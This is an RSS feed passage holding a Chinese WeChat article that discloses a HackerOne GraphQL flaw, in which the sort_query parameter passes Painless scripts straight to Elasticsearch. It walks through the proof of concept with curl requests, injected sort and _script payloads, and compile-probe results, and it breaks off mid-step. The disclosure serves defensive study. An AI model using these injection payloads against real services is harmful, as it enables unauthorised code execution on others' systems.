data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0036b278&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499590%26idx%3D1%26sn%3D66ec7d040f86ce65103b1c0a5d39a1af">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 23 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>$7,000高危漏洞披露</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499586&amp;idx=1&amp;sn=6e282e57f4d714c86ea88b9c2d337840</link>
      <description>声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部</description>
      <content:encoded><![CDATA[<p><span>骨哥说事</span> <span>2026-06-22 11:00</span> <span style="display: inline-block;">四川</span></p>




  <p>以下文章来源于：骨哥说事</p>
  <strong>骨哥说事</strong>
  <p>一个喜爱鼓捣的技术宅</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=73fcbf8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRxzUrFLwGU8nN7a6NWquLHZicicpC63mqL4OwhUUDcRYOSJIcLByCxLzjraURglWbZ5pIuiaBQAAnWZPxCwibqlddBk2tEOJWjXib9w%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table><div data-tool="markdown2wechat编辑器" data-website="https://aizhuanqian.com" style="color: black;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 10px;margin-bottom: 24px;" data-pm-slice="0 0 []"><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">“最危险的地方往往是最安全的地方。” 近日，知名漏洞赏金平台 HackerOne 在其官方平台上被研究员发现一处 </span><strong style="font-weight: bold;color: black;"><span leaf="">Authenticated Elasticsearch Painless Script Execution</span></strong><span leaf="">（认证态下 ES 脚本执行）漏洞。今天我们就来拆解这个漏洞，并附上</span><strong style="font-weight: bold;color: black;"><span leaf="">完整的 PoC 验证过程与底层逻辑分析</span></strong><span leaf="">。</span></p></blockquote><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">🔍 漏洞核心：一个 </span><code><span leaf="">String</span></code><span leaf=""> 参数，直通 ES 引擎</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf=""><img data-aistatus="1" alt="HackerOne | Leader in Continuous Threat Exposure Management | Security for  AI" class="rich_pages wxw-img" data-ratio="0.525" data-type="jpeg" data-w="1080" data-imgfileid="502781787" src="https://wechat2rss.xlab.app/img-proxy/?k=db3d66ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTKdPSwEibsZhNSVBZ5eDSoP0sVuwI1VXzicMVeBx5C2ejSBcys10KpeIvJyZCTF0vJW7MgLPCOrVg1amkxPH9k8yJFy5vQDicSLqNqYGHtNNjA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">HackerOne 的 GraphQL API（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf=""><a href="https://hackerone.com/graphql" target="_blank">https://hackerone.com/graphql</a></span></code><span leaf="">）中，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">Query.search</span></code><span leaf=""> 接口提供了一个名为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">sort_query: String</span></code><span leaf=""> 的参数。按常规设计，排序参数应当经过严格的 Schema 校验或白名单过滤后再下发给搜索引擎。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">但实际情况是：</span><strong style="font-weight: bold;color: black;"><span leaf="">该参数未经任何服务端校验，直接以原始字符串形式拼接进 Elasticsearch 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">sort</span></code><span leaf=""> 查询语句中。</span></strong><span leaf="">这意味着，攻击者可以构造包含 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">_script</span></code><span leaf=""> 字段的 JSON 排序规则，进而触发 ES 内置的 </span><strong style="font-weight: bold;color: black;"><span leaf="">Painless 脚本引擎</span></strong><span leaf="">进行编译与执行。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">🛠️ 完整 PoC 验证过程</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">研究员采用“控制变量法”与“差分测试”完成了严谨的 PoC 验证。以下为完整步骤还原（已对敏感 Cookie/Token 作脱敏处理，仅保留核心 Payload 与验证逻辑）：</span></p><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">📦 0. 环境准备与身份确认</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">所有请求均通过同一浏览器会话发起，携带完整的认证 Cookie（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">__Host-session</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">cf_clearance</span></code><span leaf="">）及 CSRF Token。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">验证会话身份：</span></strong></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">curl -sk </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#39;<a href="https://hackerone.com/graphql" target="_blank">https://hackerone.com/graphql</a>&#39;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  -H </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#39;content-type: application/json&#39;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  -b </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #BD63C5;line-height: 26px;"><span leaf="">$COOKIE</span></span><span leaf="">&#34;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  --data-raw </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#39;{&#34;query&#34;:&#34;{me{_id username}}&#34;}&#39;</span></span><span leaf=""> | jq</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">响应：</span></strong></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;data&#34;</span></span><span leaf="">:{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;me&#34;</span></span><span leaf="">:{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;_id&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;████████&#34;</span></span><span leaf="">,</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;brumbelow&#34;</span></span><span leaf="">}}}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">✅ 确认当前为普通 Reporter 权限账号，无越权基础。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">📐 Step 1：验证 </span><code><span leaf="">sort_query</span></code><span leaf=""> 可解析原始 JSON</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在注入脚本前，先证明该参数能正确解析 Elasticsearch 的排序 DSL。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">Payload（按 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">id</span></code><span leaf=""> 升序）：</span></strong></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">{</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;query&#34;</span></span><span leaf="">: </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;query { search(index: NotificationsIndex, query_string: \&#34;*\&#34;, sort_query: \&#34;[{\\\&#34;id\\\&#34;: \\\&#34;asc\\\&#34;}]\&#34;, size: 5) { nodes { ... on NotificationDocument { id } } } }&#34;</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">响应（前 5 条 ID）：</span></strong><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">404547633</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">408446504</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">416737094</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">417300042</span></code><span leaf="">, </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">417467303</span></code><span leaf="">👉 严格单调递增，证明 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">sort_query</span></code><span leaf=""> 字符串被后端正确解析为 ES JSON 排序结构。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">进阶验证（嵌套对象语法）：</span></strong></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">[{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;user_id&#34;</span></span><span leaf="">:{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;order&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;desc&#34;</span></span><span leaf="">,</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;missing&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;_last&#34;</span></span><span leaf="">}}]</span><span leaf=""><br/></span><span leaf="">[{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;created_at&#34;</span></span><span leaf="">:{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;order&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;desc&#34;</span></span><span leaf="">,</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;mode&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;max&#34;</span></span><span leaf="">}}]</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">✅ 均返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">total_count: 716</span></code><span leaf="">（当前用户通知总数），证明复杂 ES 排序语法均可透传。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">🔬 Step 2：编译态探测（证明输入直达 Painless 编译器）</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">通过构造不同 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">script.source</span></code><span leaf=""> 值，观察服务端返回差异，若仅做 JSON Schema 校验，以下 Payload 结构完全一致；能区分“语法错误”与“合法代码”的只有 Painless 编译器。</span></p><p data-tool="mdnice 编辑器" style="overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><code><span leaf="">script.source</span></code><p><span leaf=""> 值</span></p></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">HTTP 状态 / 响应特征</span></p></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">Painless 编译结果</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">&#34;&#34;</span></code><p><span leaf="">（空字符串）</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">500 / STANDARD_ERROR</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">❌ 编译失败</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">&#34;unterminated&#34;</span></code><p><span leaf="">（未闭合字符串）</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">500 / STANDARD_ERROR</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">❌ 编译失败</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">&#34;1&#34;</span></code><p><span leaf="">（合法常量）</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">200 / total_count: 716</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">✅ 编译成功</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">&#34;1+1&#34;</span></code><p><span leaf="">（合法表达式）</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">200 / total_count: 716</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">✅ 编译成功</span></p></td></tr></tbody></table></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">核心 Payload 结构：</span></strong></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">[{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;_script&#34;</span></span><span leaf="">:{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;number&#34;</span></span><span leaf="">,</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;script&#34;</span></span><span leaf="">:{</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;source&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;&lt;PAYLOAD&gt;&#34;</span></span><span leaf="">,</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;lang&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;painless&#34;</span></span><span leaf="">},</span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;order&#34;</span></span><span leaf="">:</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;asc&#34;</span></span><span leaf="">}}]</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">👉 </span><strong style="font-weight: bold;color: black;"><span leaf="">结论</span></strong><span leaf="">：200/500 的分界线与 Painless 语法合法性完全吻合，证明用户输入已绕过中间件校验，直达 ES 脚本编译层。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">🎯 Step 3：执行态探测（证明脚本逐文档真实运行）</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">编译成功不代表会执行。研究员通过“差分排序”验证脚本是否在查询阶段逐文档运行。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">请求 A（基准：返回常量）</span></strong></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;source&#34;</span></span><span leaf="">: </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">请求 B（目标：读取文档元数据）</span></strong></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 